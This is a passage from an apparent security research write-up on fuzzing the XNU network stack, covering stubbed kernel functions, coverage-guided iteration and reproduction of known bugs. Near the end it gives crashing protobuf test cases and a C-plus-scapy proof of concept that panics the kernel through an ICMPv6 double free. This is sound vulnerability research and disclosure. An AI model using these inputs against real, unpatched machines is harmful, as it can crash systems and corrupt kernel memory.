syscalls, we build the data in the protobuf test case handler and pass a real pointer to it, allowing it to be copied. This flexibility saves us time while permitting the construction of highly-structured data inputs as we see fit.\n\nint __attribute__((warn_unused_result))\n\ncopyin(void* user_addr, void* kernel_addr, size_t nbytes) {\n\n// Address 1 means use fuzzed bytes, otherwise use real bytes.\n\n// NOTE: this does not support nested useraddr.\n\nif (user_addr != (void*)1) {\n\nmemcpy(kernel_addr, user_addr, nbytes);\n\nreturn 0;\n\n}\n\nif (get_fuzzed_bool()) {\n\nreturn -1;\n\n}\n\nget_fuzzed_bytes(kernel_addr, nbytes);\n\nreturn 0;\n\n} \n \n--- \n \nCopyout is designed similarly. We often don\u2019t care about the data copied out; we just care about the safety of the accesses. For that reason, we make sure to memcpy from the source buffer in all cases, using a temporary buffer when a copy to (void*)1 occurs. If the kernel copies out of bounds or from freed memory, for example, ASAN will catch it and inform us about a memory disclosure vulnerability.\n\n# Synchronization and Threads\n\nAmong the many changes made to XNU\u2019s behavior to support this project, perhaps the most extensive and invasive are the changes I made to the synchronization and threading model. Before beginning this project, I had spent over a year working on Chrome browser process research, where high level \u201csequences\u201d are [preferred to using physical threads](<https://chromium.googlesource.com/chromium/src/+/master/docs/threading_and_tasks.md#prefer-sequences-to-physical-threads>). Despite a paucity of data races, Chrome still had sequence-related bugs that were triggered by randomly servicing some of the pending work in between performing synchronous IPC calls. In an exploit for a bug found by the [AppCache fuzzer](<https://source.chromium.org/chromium/chromium/src/+/master:content/browser/appcache/appcache_fuzzer.cc;l=275;drc=db9ae7941adc1d95c943accce9e0151d265fd640>), sleep calls were needed to get the asynchronous work to be completed before queueing up some more work synchronously. So I already knew that asynchronous continuation-passing style concurrency could have exploitable bugs that are easy to discover with this fuzzing approach.\n\nI suspected I could find similar bugs if I used a similar model for sockfuzzer. Because XNU uses multiple kernel threads in its networking stack, I would have to port it to a cooperative style. To do this, I provided no-op implementations for all of the thread management functions and sync primitives, and instead randomly called the work functions that would have been called by the real threads. This involved modifying code: most worker threads run in a loop, processing new work as it comes in. I modified these infinitely looping helper functions to do one iteration of work and exposed them to the fuzzer frontend. Then I called them randomly as part of the protobuf message. The main benefit of doing the project this way was improved performance and determinism. Places where the kernel could block the fuzzer were modified to return early. Overall, it was a lot simpler and easier to manage a single-threaded process. But this decision did not end up yielding as many bugs as I had hoped. For example, I suspected that interleaving garbage collection of various network-related structures with syscalls would be more effective. It did achieve the goal of removing threading-related headaches from deploying the fuzzer, but this is a serious weakness that I would like to address in future fuzzer revisions.\n\n# Randomness\n\nRandomness is another service provided by kernels to userland (e.g. /dev/random) and in-kernel services requiring it. This is easy to emulate: we can just return as many bytes as were requested from the current test case\u2019s data_provider field.\n\n# Authentication\n\nXNU features some mechanisms (KAuth, mac checks, user checks) to determine whether a given syscall is permissible. Because of the importance and relative rarity of bugs in XNU, and my willingness to triage false positives, I decided to allow all actions by default. For example, the TCP multipath code requires a special entitlement, but disabling this functionality precludes us from finding Ian\u2019s multipath vulnerability. Rather than fuzz only code accessible inside the app sandbox, I figured I would just triage whatever comes up and report it with the appropriate severity in mind.\n\nFor example, when we create a socket, the kernel checks whether the running process is allowed to make a socket of the given domain, type, and protocol provided their KAuth credentials:\n\nstatic int\n\nsocket_common(struct proc *p,\n\nint domain,\n\nint type,\n\nint protocol,\n\npid_t epid,\n\nint32_t *retval,\n\nint delegate)\n\n{\n\nstruct socket *so;\n\nstruct fileproc *fp;\n\nint fd, error;\n\nAUDIT_ARG(socket, domain, type, protocol);\n\n#if CONFIG_MACF_SOCKET_SUBSET\n\nif ((error = mac_socket_check_create(kauth_cred_get(), domain,\n\ntype, protocol)) != 0) {\n\nreturn error;\n\n}\n\n#endif /* MAC_SOCKET_SUBSET */ \n \n--- \n \nWhen we reach this function in our fuzzer, we trigger an assert crash as this functionality was stubbed.\n\n#6 0x7f58f49b53f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7f58f49ba070 in kauth_cred_get /source/build3/../fuzz/fake_impls.c:272:3\n\n#8 0x7f58f3c70889 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:39\n\n#9 0x7f58f3c7043a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9\n\n#10 0x7f58f49b45e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10\n\n#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19 \n \n--- \n \nNow, we need to implement kauth_cred_get. In this case, we return a (void*)1 pointer so that NULL checks on the value will pass (and if it turns out we need to model this correctly, we\u2019ll crash again when the pointer is used).\n\nvoid* kauth_cred_get() {\n\nreturn (void*)1;\n\n} \n \n--- \n \nNow we crash actually checking the KAuth permissions. \n\n\n#6 0x7fbe9219a3f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7fbe9219f100 in mac_socket_check_create /source/build3/../fuzz/fake_impls.c:312:33\n\n#8 0x7fbe914558a3 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:15\n\n#9 0x7fbe9145543a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9\n\n#10 0x7fbe921995e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10\n\n#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19\n\n#12 0x4e76c2 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1 \n \n--- \n \nNow we simply return 0 and move on.\n\nint mac_socket_check_create() { return 0; } \n \n--- \n \nAs you can see, we don\u2019t always need to do a lot of work to fake functionality. We can opt for a much simpler model that still gets us the results we want. \n\n\nCoverage Guided Development\n\nWe\u2019ve paid a sizable initial cost to implement this fuzz target, but we\u2019re now entering the longest and most fun stage of the project: iterating and maintaining the fuzzer. We begin by running the fuzzer continuously (in my case, I ensured it could run on ClusterFuzz). A day of work then consists of fetching the latest corpus, running a clang-coverage visualization pass over it, and viewing the report. While initially most of the work involved fixing assertion failures to get the fuzzer working, we now look for silent implementation deficiencies only visible in the coverage reports. A snippet from the report looks like the following:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypy5nffIIMxqcIAkEku-SJldrsLbyXhU-th0AbxjTCf8e8hM-L4hpsxAJUbibDeaTMsiHpirbmlNqKqSa3eIdd1bJYm9HtfDoVTNbItsbu7xdZDq5gG9eK5l8qHEblS7LoyglGzTqzn_1l5XXNIBf9YOdT2JiJ2_6wiE9_Yd7KrDaM-MhERHw4myg/s658/image4.png>)\n\nThis excerpt from IP option handling shows that we don\u2019t support the various packets well with the current version of the fuzzer and grammar. Having this visualization is enormously helpful and necessary to succeed, as it is a source of truth about your fuzz target. By directing development work around these reports, it\u2019s relatively easy to plan actionable and high-value tasks around the fuzzer.\n\nI like to think about improving a fuzz target by either improving \u201csoundness\u201d or \u201ccompleteness.\u201d Logicians probably wouldn\u2019t be happy with how I\u2019m loosely using these terms, but they are a good metaphor for the task. To start with, we can improve the completeness of a given fuzz target by helping it reach code that we know to be reachable based on manual review. In the above example, I would suspect very strongly that the uncovered option handling code is reachable. But despite a long fuzzing campaign, these lines are uncovered, and therefore our fuzz target is incomplete, somehow unable to generate inputs reaching these lines. There are two ways to get this needed coverage: in a top-down or bottom-up fashion. Each has its tradeoffs. The top-down way to cover this code is to improve the existing grammar or C++ code to make it possible or more likely. The bottom-up way is to modify the code in question. For example, we could replace switch (opt) with something like switch (global_fuzzed_data->ConsumeRandomEnum(valid_enums). This bottom-up approach introduces unsoundness, as maybe these enums could never have been selected at this point. But this approach has often led to interesting-looking crashes that encouraged me to revert the change and proceed with the more expensive top-down implementation. When it\u2019s one researcher working against potentially hundreds of thousands of lines, you need tricks to prioritize your work. By placing many cheap bets, you can revert later for free and focus on the most fruitful areas.\n\nImproving soundness is the other side of the coin here. I\u2019ve just mentioned reverting unsound changes and moving those changes out of the target code and into the grammar. But our fake objects are also simple models for how their real implementations behave. If those models are too simple or directly inaccurate, we may either miss bugs or introduce them. I\u2019m comfortable missing some bugs as I think these simple fakes enable better coverage, and it\u2019s a net win. But sometimes, I\u2019ll observe a crash or failure to cover some code because of a faulty model. So improvements can often come in the form of making these fakes better.\n\nAll in all, there is plenty of work that can be done at any given point. Fuzzing isn\u2019t an all or nothing one-shot endeavor for large targets like this. This is a continuous process, and as time goes on, easy gains become harder to achieve as most bugs detectable with this approach are found, and eventually, there comes a natural stopping point. But despite working on this project for several months, it\u2019s remarkably far from the finish line despite producing several useful bug reports. The cool thing about fuzzing in this way is that it is a bit like excavating a fossil. Each target is different; we make small changes to the fuzzer, tapping away at the target with a chisel each day and letting our coverage metrics, not our biases, reveal the path forward.\n\n# Packet Delivery\n\nI\u2019d like to cover one example to demonstrate the value of the \u201cbottom-up\u201d unsound modification, as in some cases, the unsound modification is dramatically cheaper than the grammar-based one. Disabling hash checks is a well-known fuzzer-only modification when fuzzer-authors know that checksums could be trivially generated by hand. But it can also be applied in other places, such as packet delivery.\n\nWhen an mbuf containing a TCP packet arrives, it is handled by tcp_input. In order for almost anything meaningful to occur with this packet, it must be matched by IP address and port to an existing process control block (PCB) for that connection, as seen below.\n\nvoid\n\ntcp_input(struct mbuf *m, int off0)\n\n{\n\n// ...\n\nif (isipv6) {\n\ninp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport,\n\n&ip6->ip6_dst, th->th_dport, 1,\n\nm->m_pkthdr.rcvif);\n\n} else\n\n#endif /* INET6 */\n\ninp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport,\n\nip->ip_dst, th->th_dport, 1, m->m_pkthdr.rcvif); \n \n--- \n \nHere\u2019s the IPv4 lookup code. Note that faddr, fport_arg, laddr, and lport_arg are all taken directly from the packet and are checked against the list of PCBs, one at a time. This means that we must guess two 4-byte integers and two 2-byte shorts to match the packet to the relevant PCB. Even coverage-guided fuzzing is going to have a hard time guessing its way through these comparisons. While eventually a match will be found, we can radically improve the odds of covering meaningful code by just flipping a coin instead of doing the comparisons. This change is extremely easy to make, as we can fetch a random boolean from the fuzzer at runtime. Looking up existing PCBs and fixing up the IP/TCP headers before sending the packets is a sounder solution, but in my testing this change didn\u2019t introduce any regressions. Now when a vulnerability is discovered, it\u2019s just a matter of fixing up headers to match packets to the appropriate PCB. That\u2019s light work for a vulnerability researcher looking for a remote memory corruption bug.\n\n/*\n\n* Lookup PCB in hash list.\n\n*/\n\nstruct inpcb *\n\nin_pcblookup_hash(struct inpcbinfo *pcbinfo, struct in_addr faddr,\n\nu_int fport_arg, struct in_addr laddr, u_int lport_arg, int wildcard,\n\nstruct ifnet *ifp)\n\n{\n\n// ...\n\nhead = &pcbinfo->ipi_hashbase[INP_PCBHASH(faddr.s_addr, lport, fport,\n\npcbinfo->ipi_hashmask)];\n\nLIST_FOREACH(inp, head, inp_hash) {\n\n- if (inp->inp_faddr.s_addr == faddr.s_addr &&\n\n- inp->inp_laddr.s_addr == laddr.s_addr &&\n\n- inp->inp_fport == fport &&\n\n- inp->inp_lport == lport) {\n\n+ if (!get_fuzzed_bool()) {\n\nif (in_pcb_checkstate(inp, WNT_ACQUIRE, 0) !=\n\nWNT_STOPUSING) {\n\nlck_rw_done(pcbinfo->ipi_lock);\n\nreturn inp; \n \n--- \n \n \nAstute readers may have noticed that the PCBs are fetched from a hash table, so it\u2019s not enough just to replace the check. The 4 values used in the linear search are used to calculate a PCB hash, so we have to make sure all PCBs share a single bucket, as seen in the diff below. The real kernel shouldn\u2019t do this as lookups become O(n), but we only create a few sockets, so it\u2019s acceptable.\n\ndiff \\--git a/bsd/netinet/in_pcb.h b/bsd/netinet/in_pcb.h\n\nindex a5ec42ab..37f6ee50 100644\n\n\\--- a/bsd/netinet/in_pcb.h\n\n+++ b/bsd/netinet/in_pcb.h\n\n@@ -611,10 +611,9 @@ struct inpcbinfo {\n\nu_int32_t ipi_flags;\n\n};\n\n-#define INP_PCBHASH(faddr, lport, fport, mask) \\\n\n- (((faddr) ^ ((faddr) >> 16) ^ ntohs((lport) ^ (fport))) & (mask))\n\n-#define INP_PCBPORTHASH(lport, mask) \\\n\n- (ntohs((lport)) & (mask))\n\n+// nedwill: let all pcbs share the same hash\n\n+#define INP_PCBHASH(faddr, lport, fport, mask) (0)\n\n+#define INP_PCBPORTHASH(lport, mask) (0)\n\n#define INP_IS_FLOW_CONTROLLED(_inp_) \\\n\n((_inp_)->inp_flags & INP_FLOW_CONTROLLED) \n \n--- \n \nChecking Our Work: Reproducing the Sample Bugs\n\nWith most of the necessary supporting code implemented, we can fuzz for a while without hitting any assertions due to unimplemented stubbed functions. At this stage, I reverted the fixes for the two inspiration bugs I mentioned at the beginning of this article. Here\u2019s what we see shortly after we run the fuzzer with those fixes reverted: \n\n\n==1633983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00029f474 at pc 0x00000049fcb7 bp 0x7ffcddc88590 sp 0x7ffcddc87d58\n\nWRITE of size 20 at 0x61d00029f474 thread T0\n\n#0 0x49fcb6 in __asan_memmove /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:30:3\n\n#1 0x7ff64bd83bd9 in __asan_bcopy fuzz/san.c:37:3\n\n#2 0x7ff64ba9e62f in icmp_error bsd/netinet/ip_icmp.c:362:2\n\n#3 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2\n\n#4 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34\n\n#5 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3\n\n#6 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7\n\n#7 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9\n\n0x61d00029f474 is located 12 bytes to the left of 2048-byte region [0x61d00029f480,0x61d00029fc80)\n\nallocated by thread T0 here:\n\n#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3\n\n#1 0x7ff64bd82b20 in mbuf_create fuzz/zalloc.c:157:45\n\n#2 0x7ff64bd8319e in mcache_alloc fuzz/zalloc.c:187:12\n\n#3 0x7ff64b69ae84 in m_getcl bsd/kern/uipc_mbuf.c:3962:6\n\n#4 0x7ff64ba9e15c in icmp_error bsd/netinet/ip_icmp.c:296:7\n\n#5 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2\n\n#6 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34\n\n#7 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3\n\n#8 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7\n\n#9 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9 \n \n--- \n \nWhen we inspect the test case, we see that a single raw IPv4 packet was generated to trigger this bug. This is to be expected, as the bug doesn\u2019t require an existing connection, and looking at the stack, we can see that the test case triggered the bug in the IPv4-specific ip_input path.\n\ncommands {\n\nip_input {\n\nraw_ip4: \"M\\001\\000I\\001\\000\\000\\000\\000\\000\\000\\000III\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333IIIIIIIIIIIIII\\000\\000\\000\\000\\000III\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333IIIIIIIIIIIIII\"\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \n \nIf we fix that issue and fuzz a bit longer, we soon see another crash, this time in the MPTCP stack. This is Ian\u2019s MPTCP vulnerability. The ASAN report looks strange though. Why is it crashing during garbage collection in mptcp_session_destroy? The original vulnerability was an OOB write, but ASAN couldn\u2019t catch it because it corrupted memory within a struct. This is a well-known shortcoming of ASAN and similar mitigations, importantly the upcoming MTE. This means we don\u2019t catch the bug until later, when a randomly corrupted pointer is accessed.\n\n==1640571==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x6190000079dc in thread T0\n\n#0 0x4a0094 in free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3\n\n#1 0x7fbdfc7a16b0 in _FREE fuzz/zalloc.c:293:36\n\n#2 0x7fbdfc52b624 in mptcp_session_destroy bsd/netinet/mptcp_subr.c:742:3\n\n#3 0x7fbdfc50c419 in mptcp_gc bsd/netinet/mptcp_subr.c:4615:3\n\n#4 0x7fbdfc4ee052 in mp_timeout bsd/netinet/mp_pcb.c:118:16\n\n#5 0x7fbdfc79b232 in clear_all fuzz/backend.c:83:3\n\n#6 0x4dfd5c in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:1010:3\n\n0x6190000079dc is located 348 bytes inside of 920-byte region [0x619000007880,0x619000007c18)\n\nallocated by thread T0 here:\n\n#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3\n\n#1 0x7fbdfc7a03d4 in zalloc fuzz/zalloc.c:37:10\n\n#2 0x7fbdfc4ee710 in mp_pcballoc bsd/netinet/mp_pcb.c:222:8\n\n#3 0x7fbdfc53cf8a in mptcp_attach bsd/netinet/mptcp_usrreq.c:211:15\n\n#4 0x7fbdfc53699e in mptcp_usr_attach bsd/netinet/mptcp_usrreq.c:128:10\n\n#5 0x7fbdfc0e1647 in socreate_internal bsd/kern/uipc_socket.c:784:10\n\n#6 0x7fbdfc0e23a4 in socreate bsd/kern/uipc_socket.c:871:9\n\n#7 0x7fbdfc118695 in socket_common bsd/kern/uipc_syscalls.c:266:11\n\n#8 0x7fbdfc1182d1 in socket bsd/kern/uipc_syscalls.c:214:9\n\n#9 0x7fbdfc79a26e in socket_wrapper fuzz/syscall_wrappers.c:371:10\n\n#10 0x4dd275 in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:655:19 \n \n--- \n \nHere\u2019s the protobuf input for the crashing testcase:\n\ncommands {\n\nsocket {\n\ndomain: AF_MULTIPATH\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_srcaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\304\"\n\n}\n\n}\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_srcaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\304\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_AUTHENTICATED\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nclose {\n\nfd: FD_8\n\n}\n\n}\n\ncommands {\n\nioctl_real {\n\nsiocsifflags {\n\nifr_name: LO0\n\nflags: IFF_LINK1\n\n}\n\n}\n\n}\n\ncommands {\n\nclose {\n\nfd: FD_8\n\n}\n\n}\n\ndata_provider: \"\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\" \n \n--- \n \nHmm, that\u2019s quite large and hard to follow. Is the bug really that complicated? We can use libFuzzer\u2019s crash minimization feature to find out. Protobuf-based test cases simplify nicely because even large test cases are already structured, so we can randomly edit and remove nodes from the message. After about a minute of automated minimization, we end up with the test shown below.\n\ncommands {\n\nsocket {\n\ndomain: AF_MULTIPATH\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_1\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"bugmbuf_debutoeloListen_dedeloListen_dedebuloListete_debugmbuf_debutoeloListen_dedeloListen_dedebuloListeListen_dedebuloListe_dtrte\" # string length 131\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \n \nThis is a lot easier to read! It appears that SockFuzzer managed to open a socket from the AF_MULTIPATH domain and called connectx on it with a sockaddr using an unexpected sa_family, in this case AF_MULTIPATH. Then the large sa_data field was used to overwrite memory. You can see some artifacts of heuristics used by the fuzzer to guess strings as \u201clisten\u201d and \u201cmbuf\u201d appear in the input. This testcase could be further simplified by modifying the sa_data to a repeated character, but I left it as is so you can see exactly what it\u2019s like to work with the output of this fuzzer.\n\nIn my experience, the protobuf-formatted syscalls and packet descriptions were highly useful for reproducing crashes and tended to work on the first attempt. I didn\u2019t have an excellent setup for debugging on-device, so I tried to lean on the fuzzing framework as much as I could to understand issues before proceeding with the expensive process of reproducing them.\n\nIn [my ](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>)[previous post](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) describing the \u201cSockPuppet\u201d vulnerability, I walked through one of the newly discovered vulnerabilities, from protobuf to exploit. I\u2019d like to share another original protobuf bug report for a remotely-triggered vulnerability I reported [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>).\n\ncommands {\n\nsocket {\n\ndomain: AF_INET6\n\nso_type: SOCK_RAW\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nset_sock_opt {\n\nlevel: SOL_SOCKET\n\nname: SO_RCVBUF\n\nval: \"\\021\\000\\000\\000\"\n\n}\n\n}\n\ncommands {\n\nset_sock_opt {\n\nlevel: IPPROTO_IPV6\n\nname: IP_FW_ZERO\n\nval: \"\\377\\377\\377\\377\"\n\n}\n\n}\n\ncommands {\n\nip_input {\n\ntcp6_packet {\n\nip6_hdr {\n\nip6_hdrctl {\n\nip6_un1_flow: 0\n\nip6_un1_plen: 0\n\nip6_un1_nxt: IPPROTO_ICMPV6\n\nip6_un1_hlim: 0\n\n}\n\nip6_src: IN6_ADDR_LOOPBACK\n\nip6_dst: IN6_ADDR_ANY\n\n}\n\ntcp_hdr {\n\nth_sport: PORT_2\n\nth_dport: PORT_1\n\nth_seq: SEQ_1\n\nth_ack: SEQ_1\n\nth_off: 0\n\nth_win: 0\n\nth_sum: 0\n\nth_urp: 0\n\nis_pure_syn: false\n\nis_pure_ack: false\n\n}\n\ndata: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377q\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n\n}\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \nThis automatically minimized test case requires some human translation to a report that\u2019s actionable by developers who don\u2019t have access to our fuzzing framework. The test creates a socket and sets some options before delivering a crafted ICMPv6 packet. You can see how the packet grammar we specified comes in handy. I started by transcribing the first three syscall messages directly by writing the following C program.\n\n#include <sys/socket.h>\n\n#define __APPLE_USE_RFC_3542\n\n#include <netinet/in.h>\n\n#include <stdio.h>\n\n#include <unistd.h>\n\nint main() {\n\nint fd = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n\nif (fd < 0) {\n\nprintf(\"failed\\n\");\n\nreturn 0;\n\n}\n\nint res;\n\n// This is not needed to cause a crash on macOS 10.14.6, but you can\n\n// try setting this option if you can't reproduce the issue.\n\n// int space = 1;\n\n// res = setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &space, sizeof(space));\n\n// printf(\"res1: %d\\n\", res);\n\nint enable = 1;\n\nres = setsockopt(fd, IPPROTO_IPV6, IPV6_RECVPATHMTU, &enable, sizeof(enable));\n\nprintf(\"res2: %d\\n\", res);\n\n// Keep the socket open without terminating.\n\nwhile (1) {\n\nsleep(5);\n\n}\n\nclose(fd);\n\nreturn 0;\n\n} \n \n--- \n \nWith the socket open, it\u2019s now a matter of sending a special ICMPv6 packet to trigger the bug. Using the original crash as a guide, I reviewed the code around the crashing instruction to understand which parts of the input were relevant. I discovered that sending a \u201cpacket too big\u201d notification would reach the buggy code, so I used the [scapy](<https://scapy.net/>) library for Python to send the buggy packet locally. My kernel panicked, confirming the double free vulnerability.\n\nfrom scapy.all import sr1, IPv6, ICMPv6PacketTooBig, raw\n\nouter = IPv6(dst=\"::1\") / ICMPv6PacketTooBig() / (\"\\x41\"*40)\n\nprint(raw(outer).hex())\n\np = sr1(outer)\n\nif p:\n\np.show() \n \n--- \n \nCreating a working PoC from the crashing protobuf input took about an hour, thanks to the straightforward mapping from grammar to syscalls/network input and the utility of being able to debug the local crashing \u201ckernel\u201d using gdb.\n\nDrawbacks\n\nAny fuzzing project of this size will require design decisions that have some tradeoffs. The most obvious issue is the inability to detect race conditions. Threading bugs can be found with fuzzing but are still best left to static analysis and manual review as fuzzers can\u2019t currently deal with the state space of interleaving threads. Maybe this will change in the future, but today it\u2019s an issue. I accepted this problem and removed threading completely from the fuzzer; some bugs were missed by this, such as a race condition [in the bind syscall](<https://youtu.be/8cOx7vfszZU?t=366>).\n\nAnother issue lies in the fact that by replacing so much functionality by hand, it\u2019s hard to extend the fuzzer trivially to support additional attack surfaces. This is evidenced by another issue I missed in [packet filtering](<https://twitter.com/WangTielei/status/1246376070367965184>). I don\u2019t support VFS at the moment, so I can\u2019t access the bpf device. A syzkaller-like project would have less trouble with supporting this code since VFS would already be working. I made an explicit decision to build a simple tool that works very effectively and meticulously, but this can mean missing some low hanging fruit due to the effort involved.\n\nPer-test case determinism is an issue that I\u2019ve solved only partially. If test cases aren\u2019t deterministic, libFuzzer becomes less efficient as it thinks some tests are finding new coverage when they really depend on one that was run previously. To mitigate this problem, I track open file descriptors manually and run all of the garbage collection thread functions after each test case. Unfortunately, there are many ioctls that change state in the background. It\u2019s hard to keep track of them to clean up properly but they are important enough that it\u2019s not worth disabling them just to improve determinism. If I were working on a long-term well-resourced overhaul of the XNU network stack, I would probably make sure there\u2019s a way to cleanly tear down the whole stack to prevent this problem.\n\nPerhaps the largest caveat of this project is its reliance on source code. Without the efficiency and productivity losses that come with binary-only research, I can study the problem more closely to the source. But I humbly admit that this approach ignores many targets and doesn\u2019t necessarily match real attackers\u2019 workflows. Real attackers take the shortest path they can to find an exploitable vulnerability, and often that path is through bugs found via binary-based fuzzing or reverse engineering and auditing. I intend to discover some of the best practices for fuzzing with the source and then migrate this approach to work with binaries. [Binary instrumentation](<https://github.com/googleprojectzero/TinyInst>) can assist in coverage guided fuzzing, but some of my tricks around substituting fake implementations or changing behavior to be more fuzz-friendly is a more significant burden when working with binaries. But I believe these are 